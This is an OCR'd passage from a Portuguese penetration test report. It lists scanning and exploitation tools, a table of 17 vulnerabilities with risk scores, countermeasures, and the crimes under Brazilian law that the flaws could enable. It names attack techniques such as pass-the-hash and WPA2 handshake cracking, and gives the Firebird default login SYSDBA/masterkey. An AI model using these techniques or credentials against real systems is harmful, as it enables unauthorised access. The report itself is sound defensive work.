e B - Levantamento de dados referentes a rede interna.
e C - Varredura da rede interna;
e E, F, G, H- Efetuados testes automaticos de analise de vulnerabilidades.
e F - Ferramentas utilizadas para ganho de acesso ao sistema
e E, G, | - Efetuado testes manuais para a prova de conceito das vulnerabilidades.
e G, | - Utilizacao de softwares de analise de rede e de exploracao de falhas de sistemas

e G, J, K- Uso de credenciais de acesso, obtidas apds a exploracdo das falhas, admin (nivel

administrador) e usuario (nivel usuario comum).

4) Aplicacéo e resultado

Com base nos resultados obtidos por meio da varredura automéatica com o auxilio da ferramenta

OpenVAS, que por sua vez mostrou um maior nimero de respostas em um relatério mais completo, foi possivel
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atestar por meios manuais a veracidade das falhas encontradas, atendo-se somente a algumas das falhas
qualificadas no relat6rio como risco alto e extremo.

Para a realizacdo da prova de conceito, foi utilizado os softwares: Metasploit, Aircrack,
JohnTheRipper, que proporcionam vérias ferramentas e permite a execucdo da exploracéo do sistema, podendo

assim de forma mais rapida e eficiente testar os parametros escolhidos pelo Pentester no ato da analise.

Tabela referente a identificacéo e descrigdo das vulnerabilidades

Vulnerabilidades

Nome Descricdo
Vi - Informagbes  Publicamente = Paginas disponiveis na web, Organizacdes associadas, detalhes de
Disponiveis localizacdo, InformagBes sobre funcionarios, Informaces

arquivada, mecanismos de buscas e relacionamento de dados.
Geralmente estes dados tem como objetivo a parte de marketing
da empresa, divulgacdo de seus servi¢os na Web. Estes tipos de
informacgBes podem conter dados sobre a empresa e funcionarios,
senhas, banco de dados estas que, caso caiam em maos erradas
poderdo acarretar em ataques direcionados como: phishing,
engenharia social ou criacdo de dicionario de dados personalizado
para ataques de forca bruta.

E uma ferramenta de diagnéstico que é utilizada para ver a rota de

V2 - Rastreamento de rota traceroute um pacote transmitido por um IP de um host para o seguinte.

V3 - Varreduras com o Ping(Fping) e Este comando tem como objetivo verificar se existem hosts ativos
Nmap na rede, geralmente utilizando os protocolos ICMP e UDP.

V4 - Varreduras de portas E um processo que envia pacotes para portas TCP e UDP com o

objetivo de verificar quais estdo sendo executadas no ambiente
alvo, também tem o objetivo de identificar servicos de aplicativos
e sistemas operacionais que estéo ativos no alvo.

V5 - Scanner de vulnerabilidades Quando o atacante sabe que o alvo ndo possui mecanismos
eficientes de protecdo na rede, utiliza scanners de
vulnerabilidades com o objetivo de automatizar o processo, ou
seja, ele faz uma varredura no alvo para obter informagdes sobre
vulnerabilidades e compara com o banco de dados com
assinaturas de vulnerabilidades conhecidas.

V6 — PassTheHash E uma técnica que utiliza credenciais de usuarios criptografadas
(hashs), que pode ser utilizada por blackhats com o objetivo
autenticar-se em sistemas ndo autorizados.

V7 - Exploit Software com a capacidade de explorar uma falha em um sistema,
geralmente utilizando uma falha de estouro de pilha (buffer
overflow) com o objetivo de executar um cddigo malicioso, para
obtencdo de acesso ndo autorizado ao sistema.

V8 - Quebra de senhas Um atacante tem como um dos seus principais objetivos, a captura
de senhas e credenciais, sendo elas criptografadas ou néo,
podendo obter senhas criptografadas e este utilizar técnicas de
descriptografia, para obtencdo de textos planos e efetuar seus
ataques com sucesso.

V9 - Ferramentas de controle remoto Obtidas as senhas e acesso ao sistema alvo, o atacante tem como
objetivo manter esse acesso ao sistema, obtendo controle total
como se estivesse frente a frente do mesmo.

V10 - Descoberta de redes sem fio E o processo de identificagio das redes ao alcance do adaptador
wireless, enviando pacotes, com o objetivo de levantar dados
sobre as redes alvo.



V11 - Ataques de desautenticacdo

(negacéo de servico)

V12 - Ataques contra chave WPA2

previamente compartilhada

V13 - Microsoft
SMB/NETBIOS NULL

Windows
Session

Authentication Bypass Vulnerability

V14 - Firebird Default Credentials

V15 - Mikrotik RouterOS
Service' Information
Vulnerability

'"Winbox
Disclosure

V16 - TESO in.telnetd buffer overflow

V17 - OS End OF life Detection

Legenda Nivel de Risco

Extremo
Alto

Baixo

10
Muito Alto

8
Alto

5
Médio
2
Baixo

1
Muito Baixo

Impacto
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Tem como objetivo o envio de pacotes falsos para clientes
autenticados nas redes wireless, obrigando eles desconectarem da
rede.

A chave previamente compartilhada é distribuida entre os
usudrios da rede, ela é utilizada para a criptografia da senha, nela
os clientes para se conectarem fazem um handshake, em que o
invasor pode obter esse arquivo hanshake e utilizar ataques de
forca bruta para tentativa de decodificar a senha.

A falha é devido a um compartilhamento SMB, permite acesso
total aos usuérios convidados. Se a conta “Convidado” estiver
ativada, qualquer pessoa podera acessar 0 computador sem uma
conta de usuério ou senha vélida.

E possivel conectar-se ao servico de banco de dados remoto
usando credenciais padrdo. O Firebird Server remoto usa
credenciais padrdo (SYSDBA / masterkey). Um invasor pode usar
essa falha para executar comandos no host remoto, além de ler o
contetido do banco de dados.

Quando algum host esta executando o servi¢o do winbox OS, esta
propenso a vazamento de informages e vulnerabilidades.

O servidor Telnet ndo permite que utilize uma sequencia longa de
comandos, ocasionando um estouro de buffer.
Deteccéo do fim da vida Gtil do sistema operacional.

Modelo Representativo Matriz de Riscos

Probabilidade
1 2 5 8 10
Muito Baixa Baixa Média Alta Muito Alta
10 20 50

16

Fonte: http://www.cqu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-

governamental/arquivos/22 11-tcu.pdf



http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf
http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf

Nivel Risco Descricao
64 Alto
50 Alto
64 Alto
80 Extremo
80 Extremo
80 Extremo
100 Extremo
100 Extremo
100 Extremo
50 Alto
80 Extremo
80 Extremo
100 Extremo
64 Alto
100 Extremo
80 Extremo
80 Extremo
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Tabela referente as consequéncias dos riscos identificados

Consequéncias

Nome Vulnerabilidade
V1-Informag6es Publicamente Disponiveis

V2 - Rastreamento de rota traceroute

V3 - Varreduras com o Ping(Fping) e Nmap

V4 - Varreduras de portas

V5 - Scanner de vulnerabilidades

V6 - PassTheHash

V7 - Exploit

V8 - Quebra de senhas

V9 - Ferramentas de controle remoto

V10 - Descoberta de redes sem fio

V11 - Ataques de desautenticacdo (negacao de servico)
V12 - Ataques contra chave WPA2 previamente compartilhada
V13 - Microsoft Windows SMB/NETBIOS NULL Session
Authentication Bypass Vulnerability

V14 - Firebird Default Credentials

V15 - Mikrotik RouterOS 'Winbox Service' Information
Disclosure Vulnerability

V16 - TESO in.telnetd buffer overflow

V17 - OS End OF life Detection

Devido ao alto teor de confidencialidade, nenhuma informagdo da Organizacdo foi exposta neste

documento, visto que o vazamento destas informacGes pode acarretar danos morais, legais e financeiros

irreparaveis para a Organizacao.

5) Contramedidas

5.1) Durante a Conducéo do Pentest

e Informagdes Publicamente Disponiveis - A empresa deverd verificar quais dados sdo realmente

relevantes para divulgacdo na Web. Utilizar servicos como: Godaddy.com, um servico que pode garantir o

anonimato de informagdes (e-mails, telefones, endereco, etc.) que estas ndo sejam listadas e consequentemente

ndo sejam obtidas de forma livre na internet;

e Rastreamento de rota traceroute - Utilizagdo de sistemas de detec¢do de intruséo IPS/IDS: como Snort.

Podendo também configurar seus roteadores, para bloquear os protocolos ICMP e UDP a sistemas

especificos;

e Varreduras com o Ping(Fping) e Nmap - Utilizar sistemas de deteccéo de intrusdo baseados em rede

como o Snort. Prevencdo, podem ser desabilitados os protocolos ICMP e UDP permitindo apenas em

ambientes especificos;
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e Varredura de portas - Para detec¢do da atividade, pode ser utilizados sistemas de deteccdo de intruséo
baseados em rede como o Snort, e prevencdo, desativar portas de servigos desnecessarios e configurar
corretamente o Firewall;

e Scanner de vulnerabilidades - Para evitar esse tipo de situacdo é necessario utilizar patches de
atualizagdes nos sistemas e aplicativos; varrer regularmente os préprios sistemas com essas ferramentas e
utilizar sistemas IDS/IPS, para alertar e bloquear comportamentos que possam comprometer a integridade
do sistema;

e PassTheHash - E recomendado utilizar autenticacio de dois fatores nesse tipo de situago;

e Exploit - Testar e aplicar patches de correcdo sempre que necessario; desabilitar servigos que ndo séo
utilizados;

¢ Quebra de senhas - A melhor escolha é utilizar tipos de criptografias atuais, e principalmente escolher
senhas fortes que: ndo deve conter partes de nomes de usudrios; utilizar no minimo seis caracteres;
utilizar caracteres maiusculos; nimeros decimais e caracteres especiais;

e Ferramentas de controle remoto - Utilizagdo de patches de atualizacdo e correcdo de sistemas e
servigos, utilizagdo de um antivirus de boa reputacdo no mercado e configurado corretamente;

e Descoberta de redes sem fio - Esta é uma ocasido de dificil correcdo, pois um atacante experiente podera
burlar as medidas preventivas, mas é recomendado desativar o BSID, limitar o sinal da rede apenas no
ambiente que é utilizada, utilizando blindagem em janelas e portas;

e Ataques de desautenticacao (negacao de servico) - Existem empresas que criam drivers personalizados
para seus clientes, com o objetivo do cliente se conectar em uma rede totalmente diferente da anterior,
dificultando a captura de dados referentes a mesma;

e Ataques contra chave WPA2 previamente compartilhada - Utilizacdo de senhas extremamente

complexas.
5.2) Identificadas pelo software de analise de vulnerabilidades

e Microsoft Windows SMB/NETBIOS NULL Session Authentication Bypass Vulnerability - E
recomendada a desativacdo do servigo caso ndo seja utilizado e atualizagdo para um Sistema Operacional
mais moderno e seguro;

e Firebird Default Credentials - E recomendada a troca das credenciais padrdo e atualizar a versdo do
Firebird;

e Mikrotik RouterOS *Winbox Service' Information Disclosure Vulnerability - Atualizacdo do
Sistema Mikrotik, configuracéo correta e aplicacdo de paches de correcéo;

e TESO in.telnetd buffer overflow - comentar a linha ‘telnet' em /etc/inetd.conf;

e OS End Of life Detection - Mitigacdo de Sistema Operacional.
5.3) Rede Interna

e Utilizar VPN;

e Utilizacdo de equipamentos de protecdo contra intrusdo como IPS/IDS, Firewall.
5.4) Rede Wireless

e  Utilizacdo da rede Wireless em uma rede diferente da vinculada a empresa;
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Utilizar equipamentos de deteccdo de intrusdo;
Utilizar filtro de MAC;
Ocultar BSSID da rede;

Utilizacdo de senhas fortes;

5.5) Outras Medidas a Serem Implementadas

Treinamento e conscientiza¢do para o quadro de funcionarios, voltado a seguranca da informacéo;
Mitigacéo de Sistema Operacional;

Utilizar senhas diferentes para cada servico da empresa;

Verificagdo periddica por software antivirus;

Manter atualiza¢Bes em software;

Desativar servi¢os ndo utilizados;

Elaborar uma politica de seguranga na empresa;

Manter backup periédico das bases de dados e arquivos.

6) Analise critica do resultado com base na legislacéo atual.

Apos andlise dos resultados é possivel concluir que de acordo com as leis vigentes 0s seguintes crimes

e/ou contravencGes conforme abaixo sdo favorecidos por meio das vulnerabilidades encontradas:

Ter acesso a um sistema informatizado sem autorizacéo;

Estelionato eletronico;

Obter, transferir ou fornecer dados ou informac6es sem autorizacéo;

Divulgacéo ou utilizagdo de modo indevido, as informagdes e dados pessoais abrangidos em um sistema
informatizado;

Inutilizar, destruir ou deteriorar dados eletrénicos de terceiros ou coisas alheias;

Inserir ou propagar codigo malicioso em um sistema informatizado;

Inserir ou propagar codigo malicioso, seguido de danos;

Atentar contra a seguranga de servico de utilidade publica;

Interromper ou perturbar servigo telegréafico, telefénico, informatico, teleméatico ou sistema
informatizado;

Obtencéo dados;

Alteracéo de dados;

Exclusdo de dados;

Inviolabilidade da intimidade e da vida privada, sua prote¢do e indenizacdo pelo dano material ou moral
decorrente de sua violag&o;

Inviolabilidade e sigilo do fluxo de suas comunicacdes pela internet, salvo por ordem judicial, na forma
da lei;

Inviolabilidade e sigilo de suas comunicagfes privadas armazenadas, salvo por ordem judicial;
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e Nao fornecimento a terceiros de seus dados pessoais, inclusive registros de conexdo, e de acesso a
aplicacbes de internet, salvo mediante consentimento livre, expresso e informado ou nas hipoteses
previstas em lei;

e A guarda e a disponibilizacdo dos registros de conexdo e de acesso a aplicacdes de Internet de que trata
esta Lei, bem como de dados pessoais e do contelido de comunicagOes privadas, devem atender a
preservacdo da intimidade, da vida privada, da honra e da imagem das partes direta ou indiretamente
envolvidas.

De acordo com os dados ja apresentados a CLIENTE em forma de relatério, fica a cargo exclusivo do
CLIENTE a correcéo do sistema e a prética de prevengdo de novas vulnerabilidades, bem como auxiliar a empresa
CLIENTE na prevencdo e homologacdo de ambiente de servidor de aplicacdo mais seguro. Levando em
consideracdo os conceitos de Risco, Vulnerabilidade e Ameaga, com base nas evidéncias encontradas, torna-se
possivel qualificar essas evidéncias afirmando que ha o risco de uma fonte de ameaca explorar alguma

vulnerabilidade do sistema resultando em um impacto negativo a organizagéo.
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